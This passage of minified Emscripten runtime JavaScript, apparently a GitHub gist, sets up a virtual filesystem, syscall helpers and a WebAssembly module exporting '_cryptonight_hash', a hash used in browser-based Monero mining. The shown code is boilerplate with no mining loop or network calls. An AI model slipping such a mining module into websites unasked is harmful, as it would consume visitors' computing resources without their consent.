if (!ENVIRONMENT_IS_WORKER) throw "Cannot do synchronous binary XHRs outside webworkers in modern browsers. Use --embed-file or --preload-file in emcc"; | |
var a = new i; | |
Object.defineProperties(a, { | |
length: { | |
get: function() { | |
return this.lengthKnown || this.cacheLength(), this._length | |
} | |
}, | |
chunkSize: { | |
get: function() { | |
return this.lengthKnown || this.cacheLength(), this._chunkSize | |
} | |
} | |
}); | |
var s = { | |
isDevice: !1, | |
contents: a | |
} | |
} else s = { | |
isDevice: !1, | |
url: t | |
}; | |
var u = FS.createFile(e, r, s, n, o); | |
s.contents ? u.contents = s.contents : s.url && (u.contents = null, u.url = s.url), Object.defineProperties(u, { | |
usedBytes: { | |
get: function() { | |
return this.contents.length | |
} | |
} | |
}); | |
var l = {}; | |
return Object.keys(u.stream_ops).forEach(function(e) { | |
var r = u.stream_ops[e]; | |
l[e] = function() { | |
if (!FS.forceLoadFile(u)) throw new FS.ErrnoError(ERRNO_CODES.EIO); | |
return r.apply(null, arguments) | |
} | |
}), l.read = function(e, r, t, n, o) { | |
if (!FS.forceLoadFile(u)) throw new FS.ErrnoError(ERRNO_CODES.EIO); | |
var i = e.node.contents; | |
if (o >= i.length) return 0; | |
var a = Math.min(i.length - o, n); | |
if (assert(a >= 0), i.slice) | |
for (var s = 0; s < a; s++) r[t + s] = i[o + s]; | |
else | |
for (s = 0; s < a; s++) r[t + s] = i.get(o + s); | |
return a | |
}, u.stream_ops = l, u | |
}, | |
createPreloadedFile: function(e, r, t, n, o, i, a, s, u, l) { | |
function c(t) { | |
function c(t) { | |
l && l(), s || FS.createDataFile(e, r, t, n, o, u), i && i(), removeRunDependency(E) | |
} | |
var f = !1; | |
Module.preloadPlugins.forEach(function(e) { | |
f || e.canHandle(d) && (e.handle(t, d, c, function() { | |
a && a(), removeRunDependency(E) | |
}), f = !0) | |
}), f || c(t) | |
} | |
Browser.init(); | |
var d = r ? PATH.resolve(PATH.join2(e, r)) : e, | |
E = getUniqueRunDependency("cp " + d); | |
addRunDependency(E), "string" == typeof t ? Browser.asyncLoad(t, function(e) { | |
c(e) | |
}, a) : c(t) | |
}, | |
indexedDB: function() { | |
return window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB | |
}, | |
DB_NAME: function() { | |
return "EM_FS_" + window.location.pathname | |
}, | |
DB_VERSION: 20, | |
DB_STORE_NAME: "FILE_DATA", | |
saveFilesToDB: function(e, r, t) { | |
r = r || function() {}, t = t || function() {}; | |
var n = FS.indexedDB(); | |
try { | |
var o = n.open(FS.DB_NAME(), FS.DB_VERSION) | |
} catch (e) { | |
return t(e) | |
} | |
o.onupgradeneeded = function() { | |
console.log("creating db"); | |
o.result.createObjectStore(FS.DB_STORE_NAME) | |
}, o.onsuccess = function() { | |
function n() { | |
0 == u ? r() : t() | |
} | |
var i = o.result.transaction([FS.DB_STORE_NAME], "readwrite"), | |
a = i.objectStore(FS.DB_STORE_NAME), | |
s = 0, | |
u = 0, | |
l = e.length; | |
e.forEach(function(e) { | |
var r = a.put(FS.analyzePath(e).object.contents, e); | |
r.onsuccess = function() { | |
++s + u == l && n() | |
}, r.onerror = function() { | |
s + ++u == l && n() | |
} | |
}), i.onerror = t | |
}, o.onerror = t | |
}, | |
loadFilesFromDB: function(e, r, t) { | |
r = r || function() {}, t = t || function() {}; | |
var n = FS.indexedDB(); | |
try { | |
var o = n.open(FS.DB_NAME(), FS.DB_VERSION) | |
} catch (e) { | |
return t(e) | |
} | |
o.onupgradeneeded = t, o.onsuccess = function() { | |
function n() { | |
0 == l ? r() : t() | |
} | |
var i = o.result; | |
try { | |
var a = i.transaction([FS.DB_STORE_NAME], "readonly") | |
} catch (e) { | |
return void t(e) | |
} | |
var s = a.objectStore(FS.DB_STORE_NAME), | |
u = 0, | |
l = 0, | |
c = e.length; | |
e.forEach(function(e) { | |
var r = s.get(e); | |
r.onsuccess = function() { | |
FS.analyzePath(e).exists && FS.unlink(e), FS.createDataFile(PATH.dirname(e), PATH.basename(e), r.result, !0, !0, !0), ++u + l == c && n() | |
}, r.onerror = function() { | |
u + ++l == c && n() | |
} | |
}), a.onerror = t | |
}, o.onerror = t | |
} | |
}, SYSCALLS = { | |
DEFAULT_POLLMASK: 5, | |
mappings: {}, | |
umask: 511, | |
calculateAt: function(e, r) { | |
if ("/" !== r[0]) { | |
var t; | |
if (-100 === e) t = FS.cwd(); | |
else { | |
var n = FS.getStream(e); | |
if (!n) throw new FS.ErrnoError(ERRNO_CODES.EBADF); | |
t = n.path | |
} | |
r = PATH.join2(t, r) | |
} | |
return r | |
}, | |
doStat: function(e, r, t) { | |
try { | |
var n = e(r) | |
} catch (e) { | |
if (e && e.node && PATH.normalize(r) !== PATH.normalize(FS.getPath(e.node))) return -ERRNO_CODES.ENOTDIR; | |
throw e | |
} | |
return HEAP32[t >> 2] = n.dev, HEAP32[t + 4 >> 2] = 0, HEAP32[t + 8 >> 2] = n.ino, HEAP32[t + 12 >> 2] = n.mode, HEAP32[t + 16 >> 2] = n.nlink, HEAP32[t + 20 >> 2] = n.uid, HEAP32[t + 24 >> 2] = n.gid, HEAP32[t + 28 >> 2] = n.rdev, HEAP32[t + 32 >> 2] = 0, HEAP32[t + 36 >> 2] = n.size, HEAP32[t + 40 >> 2] = 4096, HEAP32[t + 44 >> 2] = n.blocks, HEAP32[t + 48 >> 2] = n.atime.getTime() / 1e3 | 0, HEAP32[t + 52 >> 2] = 0, HEAP32[t + 56 >> 2] = n.mtime.getTime() / 1e3 | 0, HEAP32[t + 60 >> 2] = 0, HEAP32[t + 64 >> 2] = n.ctime.getTime() / 1e3 | 0, HEAP32[t + 68 >> 2] = 0, HEAP32[t + 72 >> 2] = n.ino, 0 | |
}, | |
doMsync: function(e, r, t, n) { | |
var o = new Uint8Array(HEAPU8.subarray(e, e + t)); | |
FS.msync(r, o, 0, t, n) | |
}, | |
doMkdir: function(e, r) { | |
return "/" === (e = PATH.normalize(e))[e.length - 1] && (e = e.substr(0, e.length - 1)), FS.mkdir(e, r, 0), 0 | |
}, | |
doMknod: function(e, r, t) { | |
switch (61440 & r) { | |
case 32768: | |
case 8192: | |
case 24576: | |
case 4096: | |
case 49152: | |
break; | |
default: | |
return -ERRNO_CODES.EINVAL | |
} | |
return FS.mknod(e, r, t), 0 | |
}, | |
doReadlink: function(e, r, t) { | |
if (t <= 0) return -ERRNO_CODES.EINVAL; | |
var n = FS.readlink(e), | |
o = Math.min(t, lengthBytesUTF8(n)), | |
i = HEAP8[r + o]; | |
return stringToUTF8(n, r, t + 1), HEAP8[r + o] = i, o | |
}, | |
doAccess: function(e, r) { | |
if (-8 & r) return -ERRNO_CODES.EINVAL; | |
var t; | |
t = FS.lookupPath(e, { | |
follow: !0 | |
}).node; | |
var n = ""; | |
return 4 & r && (n += "r"), 2 & r && (n += "w"), 1 & r && (n += "x"), n && FS.nodePermissions(t, n) ? -ERRNO_CODES.EACCES : 0 | |
}, | |
doDup: function(e, r, t) { | |
var n = FS.getStream(t); | |
return n && FS.close(n), FS.open(e, r, 0, t, t).fd | |
}, | |
doReadv: function(e, r, t, n) { | |
for (var o = 0, i = 0; i < t; i++) { | |
var a = HEAP32[r + 8 * i >> 2], | |
s = HEAP32[r + (8 * i + 4) >> 2], | |
u = FS.read(e, HEAP8, a, s, n); | |
if (u < 0) return -1; | |
if (o += u, u < s) break | |
} | |
return o | |
}, | |
doWritev: function(e, r, t, n) { | |
for (var o = 0, i = 0; i < t; i++) { | |
var a = HEAP32[r + 8 * i >> 2], | |
s = HEAP32[r + (8 * i + 4) >> 2], | |
u = FS.write(e, HEAP8, a, s, n); | |
if (u < 0) return -1; | |
o += u | |
} | |
return o | |
}, | |
varargs: 0, | |
get: function(e) { | |
SYSCALLS.varargs += 4; | |
return HEAP32[SYSCALLS.varargs - 4 >> 2] | |
}, | |
getStr: function() { | |
return Pointer_stringify(SYSCALLS.get()) | |
}, | |
getStreamFromFD: function() { | |
var e = FS.getStream(SYSCALLS.get()); | |
if (!e) throw new FS.ErrnoError(ERRNO_CODES.EBADF); | |
return e | |
}, | |
getSocketFromFD: function() { | |
var e = SOCKFS.getSocket(SYSCALLS.get()); | |
if (!e) throw new FS.ErrnoError(ERRNO_CODES.EBADF); | |
return e | |
}, | |
getSocketAddress: function(e) { | |
var r = SYSCALLS.get(), | |
t = SYSCALLS.get(); | |
if (e && 0 === r) return null; | |
var n = __read_sockaddr(r, t); | |
if (n.errno) throw new FS.ErrnoError(n.errno); | |
return n.addr = DNS.lookup_addr(n.addr) || n.addr, n | |
}, | |
get64: function() { | |
var e = SYSCALLS.get(), | |
r = SYSCALLS.get(); | |
return assert(e >= 0 ? 0 === r : -1 === r), e | |
}, | |
getZero: function() { | |
assert(0 === SYSCALLS.get()) | |
} | |
}, ___tm_current = STATICTOP; STATICTOP += 48; | |
var ___tm_timezone = allocate(intArrayFromString("GMT"), "i8", ALLOC_STATIC); FS.staticInit(), __ATINIT__.unshift(function() { | |
Module.noFSInit || FS.init.initialized || FS.init() | |
}), __ATMAIN__.push(function() { | |
FS.ignorePermissions = !1 | |
}), __ATEXIT__.push(function() { | |
FS.quit() | |
}), Module.FS_createFolder = FS.createFolder, Module.FS_createPath = FS.createPath, Module.FS_createDataFile = FS.createDataFile, Module.FS_createPreloadedFile = FS.createPreloadedFile, Module.FS_createLazyFile = FS.createLazyFile, Module.FS_createLink = FS.createLink, Module.FS_createDevice = FS.createDevice, Module.FS_unlink = FS.unlink, __ATINIT__.unshift(function() { | |
TTY.init() | |
}), __ATEXIT__.push(function() { | |
TTY.shutdown() | |
}), DYNAMICTOP_PTR = allocate(1, "i32", ALLOC_STATIC), STACK_BASE = STACKTOP = Runtime.alignMemory(STATICTOP), STACK_MAX = STACK_BASE + TOTAL_STACK, DYNAMIC_BASE = Runtime.alignMemory(STACK_MAX), HEAP32[DYNAMICTOP_PTR >> 2] = DYNAMIC_BASE, staticSealed = !0, Module.wasmTableSize = 14, Module.wasmMaxTableSize = 14, Module.asmGlobalArg = { | |
Math: Math, | |
Int8Array: Int8Array, | |
Int16Array: Int16Array, | |
Int32Array: Int32Array, | |
Uint8Array: Uint8Array, | |
Uint16Array: Uint16Array, | |
Uint32Array: Uint32Array, | |
Float32Array: Float32Array, | |
Float64Array: Float64Array, | |
NaN: NaN, | |
Infinity: 1 / 0 | |
}, Module.asmLibraryArg = { | |
abort: abort, | |
assert: assert, | |
enlargeMemory: enlargeMemory, | |
getTotalMemory: getTotalMemory, | |
abortOnCannotGrowMemory: abortOnCannotGrowMemory, | |
invoke_ii: invoke_ii, | |
invoke_iiii: invoke_iiii, | |
invoke_viii: invoke_viii, | |
_gmtime_r: _gmtime_r, | |
_gmtime: _gmtime, | |
___lock: ___lock, | |
___syscall6: ___syscall6, | |
___setErrNo: ___setErrNo, | |
___unlock: ___unlock, | |
_ftime: _ftime, | |
_emscripten_memcpy_big: _emscripten_memcpy_big, | |
___syscall54: ___syscall54, | |
___syscall140: ___syscall140, | |
___syscall20: ___syscall20, | |
___assert_fail: ___assert_fail, | |
___syscall146: ___syscall146, | |
DYNAMICTOP_PTR: DYNAMICTOP_PTR, | |
tempDoublePtr: tempDoublePtr, | |
STACK_MAX: STACK_MAX, | |
STACKTOP: STACKTOP, | |
ABORT: ABORT | |
}; | |
var asm = Module.asm(Module.asmGlobalArg, Module.asmLibraryArg, buffer); Module.asm = asm; | |
var _cryptonight_hash = Module._cryptonight_hash = function() { | |
return Module.asm._cryptonight_hash.apply(null, arguments) | |
}, getTempRet0 = Module.getTempRet0 = function() { | |
return Module.asm.getTempRet0.apply(null, arguments) | |
}, _free = Module._free = function() { | |
return Module.asm._free.apply(null, arguments) | |
}, runPostSets = Module.runPostSets = function() { | |
return Module.asm.runPostSets.apply(null, arguments) | |
}, setTempRet0 = Module.setTempRet0 = function() { | |
return Module.asm.setTempRet0.apply(null, arguments) | |
}, establishStackSpace = Module.establishStackSpace = function() { | |
return Module.asm.establishStackSpace.apply(null, arguments) | |
}, _memmove = Module._memmove = function() { | |
return Module.asm._memmove.apply(null, arguments) | |
}, stackSave = Module.stackSave = function() { | |
return Module.asm.stackSave.apply(null, arguments) | |
}, _memset = Module._memset = function() { | |
return Module.asm._memset.apply(null, arguments) | |
}, _malloc = Module._malloc = function() { | |
return Module.asm._malloc.apply(null, arguments) | |
}; | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment